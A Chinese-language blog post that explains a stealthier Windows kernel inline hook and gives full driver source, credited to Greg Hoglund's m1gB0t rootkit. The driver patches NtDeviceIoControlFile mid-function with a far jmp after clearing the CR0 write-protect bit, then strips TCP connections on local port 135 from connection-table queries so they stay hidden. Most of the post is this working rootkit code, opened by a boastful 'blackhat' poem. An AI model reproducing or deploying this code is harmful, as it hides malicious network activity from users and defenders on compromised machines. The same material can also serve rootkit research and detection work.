昨天的inline hook 是在程序的最开始的前5字节改成jmp xxxx,缺点是太容易被发现,当然可以用变形的方法来替换jmp,比如push xxxx,ret 其他的很多方法,但昨天就考虑到除了变形外还可以把改写的位置放在其他位置上,比如从被hook的函数开始的第8个字节的几个字节改写成jmp xxxx,位置是不固定的,要看具体情况而定,比如NtDeviceIoControlFile,
nt!NtDeviceIoControlFile:
805997c4 55 push ebp
805997c5 8bec mov ebp,esp
805997c7 6a01 push 0x1
805997c9 ff752c push dword ptr [ebp+0x2c]
805997cc ff7528 push dword ptr [ebp+0x28]
805997cf ff7524 push dword ptr [ebp+0x24]
805997d2 ff7520 push dword ptr [ebp+0x20]
805997d5 ff751c push dword ptr [ebp+0x1c]
805997d8 ff7518 push dword ptr [ebp+0x18]
805997db ff7514 push dword ptr [ebp+0x14]
805997de ff7510 push dword ptr [ebp+0x10]
805997e1 ff750c push dword ptr [ebp+0xc]
805997e4 ff7508 push dword ptr [ebp+0x8]
805997e7 e8e731ffff call nt!IopXxxControlFile (8058c9d3)
805997ec 5d pop ebp
805997ed c22800 ret 0x28
805997f0 0f862334ffff jbe nt!IopXxxControlFile+0x570 (8058cc19)
...
前面这么多push 语句都可以用来改成jmp xxxx或类似的语句,直要不让它执行到cAll就行了,,因为一但cAll就做出了很多操作,不好往回改了
比如选定
805997cc ff7528 push dword ptr [ebp+0x28]
805997cf ff7524 push dword ptr [ebp+0x24]
805997d2 ff7520 push dword ptr [ebp+0x20]
这9个字节改写为0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 11223344被换成我们的函数的地址,一定要用整数条语句的空间
当调用NtDeviceIoControlFile后跳转到我们的函数时,实际上已经执行了这几条语句了
805997c4 55 push ebp
805997c5 8bec mov ebp,esp
805997c7 6a01 push 0x1
805997c9 ff752c push dword ptr [ebp+0x2c]
所以要执行对应相反的语句来恢复堆栈
__asm
{
add esp,8
mov esp,ebp
pop ebp
}
然后和原来的方法一样模拟cAll NtDeviceIoControlFile的过程,把丢掉的语句都补上,代码如下
/
// migsys, kernel part of m1gB0t, Greg Hoglund, 2004
//
// I got the blackhat style
// my code is evil and elite
// with capitalized guile
// fuckn the welfare vendors
// and their mothefuckin deceit
// hide behind the mask of good-will-defender
// I cut like a file
// slow hone on your vulns
// This aint no fuzz
// This is deeper
// I'm in your states
// like the motherfukn Reaper
// You want something for free?
// pay naught for my pursuit?
// my mission occupation
// gonna put me in refute
// your gonna come along
// cuz this is bigger than you
// its gonna take you by balls
// your paybacks are due
/
#include <ntddk.h>
#include "hideport_hook_ZwDeviceIoControlFile.h"
NTSYSAPI
NTSTATUS
NTAPI
NtDeviceIoControlFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
IN ULONG DeviceIoControlCode,
IN PVOID InBuffer OPTIONAL,
IN ULONG InBufferLength,
OUT PVOID OutBuffer OPTIONAL,
IN ULONG OutBufferLength
);
NTSTATUS CheckFunctionBytesNtDeviceIoControlFile()
{
int i=0;
char *p = (char *)NtDeviceIoControlFile;
//The beginning of the NtDeviceIoControlFile function
//should match:
//55 PUSH EBP
//8BEC MOV EBP, ESP
//6A01 PUSH 01
//FF752C PUSH DWORD PTR [EBP + 2C]
char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };
while(i<8)
{
DbgPrint(" - 0x%02X ", (unsigned char)p[i]);
DbgPrint("/n");
if(p[i] != c[i])
{
return STATUS_UNSUCCESSFUL;
}
i++;
}
return STATUS_SUCCESS;
}
// naked functions have no prolog/epilog code - they are functionally like the
// target of a goto statement
__declspec(naked) my_function_detour_ntdeviceiocontrolfile(IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS rc;
TCP_REQUEST_QUERY_INFORMATION_EX req;
TCPAddrEntry* TcpTable;// = NULL;
TCPAddrExEntry* TcpExTable;// = NULL;
ULONG numconn;
ULONG i;
__asm
{
add esp,8
mov esp,ebp
pop ebp
}
__asm
{
push ebp
mov ebp,esp
}
DbgPrint("hooked/n");
__asm
{
push OutputBufferLength
push OutputBuffer
push InputBufferLength
push InputBuffer
push IoControlCode
push IoStatusBlock
push ApcContext
push ApcRoutine
push Event
push FileHandle
}
__asm
{
//int 3
jmp forwArd
bAck:
}
__asm
{
// exec missing instructions
push ebp
mov ebp, esp
push 0x01
push dword ptr [ebp+0x2C]
push dword ptr [ebp+0x28]
push dword ptr [ebp+0x24]
push dword ptr [ebp+0x20]
// jump to re-entry location in hooked function
// this gets 'stamped' with the correct address
// at runtime.
//
// we need to hard-code a far jmp, but the assembler
// that comes with the DDK will not poop this out
// for us, so we code it manually
// jmp FAR 0x08:0xAAAAAAAA
_emit 0xEA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
//
__asm
{
forwArd:
call bAck
}
DbgPrint("once here :>/n");
__asm
{
mov rc,eax
}
TcpTable = NULL;
TcpExTable = NULL;
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX){
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
if( NT_SUCCESS( rc ) ) {
req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
req.ID.toi_entity.tei_instance = 0;
req.ID.toi_class = INFO_CLASS_PROTOCOL;
req.ID.toi_type = INFO_TYPE_PROVIDER;
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) )
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ){
if( ntohs(TcpTable[i].tae_ConnLocalPort) == 135 ) {
//判断是否是最后一个
if (i != numconn -1){
RtlCopyMemory( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}else{
numconn--;
}
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
if( sizeof(TDIObjectID) == RtlCompareMemory( InputBuffer, &req, sizeof(TDIObjectID) ) ) {
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ ) {
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == 135 ) {
if (i != numconn){
RtlCopyMemory( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}else{
numconn--;
}
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
}
//return(rc);
__asm
{
mov esp,ebp
pop ebp
mov eax,rc
ret 0x28
}
}
//--------------------------------------------------------------------
VOID DetourFunctionNtDeviceIoControlFile()
{
char *actual_function = (char *)NtDeviceIoControlFile;
unsigned long detour_address;
unsigned long reentry_address;
int i = 0;
// assembles to jmp far 0008:11223344 where 11223344 is address of
// our detour function, plus one NOP to align up the patch
char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90,0x90 };
// reenter the hooked function at a location past the overwritten opcodes
// alignment is, of course, very important here
reentry_address = ((unsigned long)NtDeviceIoControlFile) + 17;
detour_address = (unsigned long)my_function_detour_ntdeviceiocontrolfile;
// stamp in the target address of the far jmp
*( (unsigned long *)(&newcode[1]) ) = detour_address;
// now, stamp in the return jmp into our detour
// function
for(i=0;i<200;i++)
{
if( (0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+1]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+2]) &&
(0xAA == ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i+3]))
{
// we found the address 0xAAAAAAAA
// stamp it w/ the correct address
*( (unsigned long *)(&((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]) ) = reentry_address;
break;
}
}
//TODO, raise IRQL
//overwrite the bytes in the kernel function
//to apply the detour jmp
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
for(i=8;i < 17;i++)
{
actual_function[i] = newcode[i-8];
}
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
//TODO, drop IRQL
}
VOID UnDetourFunction()
{
//TODO!
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("My Driver Unloaded!/n");
UnDetourFunction();
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
DbgPrint("My Driver Loaded!");
// TODO!! theDriverObject->DriverUnload = OnUnload;
if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())
{
DbgPrint("Match Failure on NtDeviceIoControlFile!/n");
return STATUS_UNSUCCESSFUL;
}
DetourFunctionNtDeviceIoControlFile();
return STATUS_SUCCESS;
}
顺便说一下,虽然程序可以运行,结果正确,但会让系统变的很慢,cpu占用在和网络通讯的几个程序上,包括什么事情都不做的
migsys.sys,,原因还在查,正在郁闷中....难到是这种inline hook都这个鸟样? 草
Trackback: http://tb.donews.net/TrackBack.aspx?PostId=583452
href="http://blog.donews.com/uuty/Services/Pingback.aspx" rel="pingback" />
marginwidth="0" marginheight="0" src="http://blog.donews.com/adv/adframe.html" frameborder="0" width="465" scrolling="no" height="60">